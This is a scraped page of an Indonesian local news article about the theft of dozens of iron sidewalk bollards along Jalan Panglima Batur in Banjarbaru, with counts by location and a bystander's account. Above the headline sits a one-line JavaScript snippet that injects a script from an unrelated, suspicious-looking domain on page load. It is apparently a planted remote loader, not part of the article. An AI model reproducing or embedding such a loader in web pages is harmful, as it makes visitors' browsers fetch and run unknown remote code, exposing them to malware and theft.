(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

‘Rayap Besi’ Beraksi, Puluhan Bollard Trotoar Panglima Batur Dicuri

KANALKALIMANTAN.COM, BANJARBARU – ‘Rayap besi’ beraksi di tengah pusat Kota Banjarbaru. Puluhan batang bollard pembatas trotoar di sepanjang ruas Jalan Panglima Batur Kota Banjarbaru, Provinsi Kalimantan Selatan, hilang dengan cara dipotong.

Bahkan aksi ‘Rayap Besi’ ini belakangan sempat terciduk polisi, namun ‘Rayap Besi’ berhasil kabur dari kejaran.

Sekadar diketahui, bollard adalah tiang pendek yang digunakan untuk membatasi akses kendaraan dari area pejalan kaki, seperti trotoar.

Pantauan kanalkalimantan, bollard yang berfungsi menghalangi kendaraan memasuki trotoar tersebut juga hilang dengan jumlah tidak sedikit.

Seperti yang terlihat kasat mata, besi-besi yang hilang atau dicabut mencapai lebih dari puluhan batang. Terlihat ada 6 batang besi pembatas hilang tepatnya di trotoar depan kantor BSPJI Banjarbaru.

Begitu juga di ruas trotoar depan kantor Dinas Pertanian dan Ketahanan Pangan dan Perkebunan Kalsel ada sebanyak 7 batang bollard yang hilang kena potong ‘Rayap Besi’.

Hasan, salah seorang pengatur lalu lintas u-turn di Jalan Panglima Batur mengaku mendengar kabar ‘Rayap Besi’ beraksi memotong bollard pembatas trotoar dalam enam bulan terakhir.

“Banyak yang hilang itu sampai ke depan Balai Kota sana, juga di dekat SMPN 2 Banjarbaru ada yang hilang. Sudah hilang mungkin enam bulanan,” ujar Hasan saat diwawancarai, Rabu (19/11/2025) petang.

Mendengar cerita orang, Hasan menyebut aksi pemotongan bollard besi ini kerap dilakukan pada malam hari.

“Kata orang-orang yang sering santai duduk di kursi trotoar bilang kalau maling yang mencabut itu malam, setelah mereka duduk santai tidak lama hilang,” cerita Hasan.

Ia pun mengaku bingung bagaimana cara ‘Rayap Besi’ bollard tersebut mencabut dan meotong besi yang kuat menancap di atas trotoar.

“Pakai apa dia bisa mencabut itu bingung, mungkin inya beistilah kaya itu, mendengar dari orang malingnya mencabutnya model membasuh pakai apa ada cairannya agar besi bisa dicabut,” ungkapnya penuh kebingungan sendiri.

Di samping itu dirinya mempertanyakana apakah tidak ada petugas keamanan atau satpam di kantor-kantor yang berjaga, hingga ‘Rayap Besi’ dengan mudahnya melancarkan aksi.

“Kita juga bingung, tidak ada yang menjaga atau bagaimana, padahal ini di depan kantor-kantor. Sedangkan aku sendiri siang, jadi malam tidak lihat karena kejadiannya malam,” imbuhnya.

Saat ditelusuri lebih jauh, bollard trotoar depan kantor Balai Kota Banjarbaru juga menjadi target pencurian. Total ada 3 batang bollard di depan Balai Kota Banjarbaru yang hilang.

Kemudian masih di Jalan Panglima Batur tepatnya depan Kantor Balai Pengujian dan Sertifikasi Mutu Disdag Kalsel ada lima 5 batang besi bollard yang hilang.

Selanjutnya ada 5 batang besi bollard yang hilang di depan kantor BPSMD Kalsel, satu diantaranya hanya sebagian tiang. Serta ada 1 batang bollard besi yang hilang di depan SMPN 2 Banjarbaru.

Titik aksi ‘Rayap Besi’ juga terlihat bekas jejaknya di depan kantor Badan Pertanahan (BPN) Kota Banjarbaru. Terlihat sudah ada 2 batang besi yang hilang dan ada 1 batang yang hilang di depan Kantor Pos Banjarbaru.

Sementara ruas trotoar di bagian seberang Rumah Sakit Mawar tepat di depan SDN 3 Komet terlihat 5 batang bollard menghilang. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie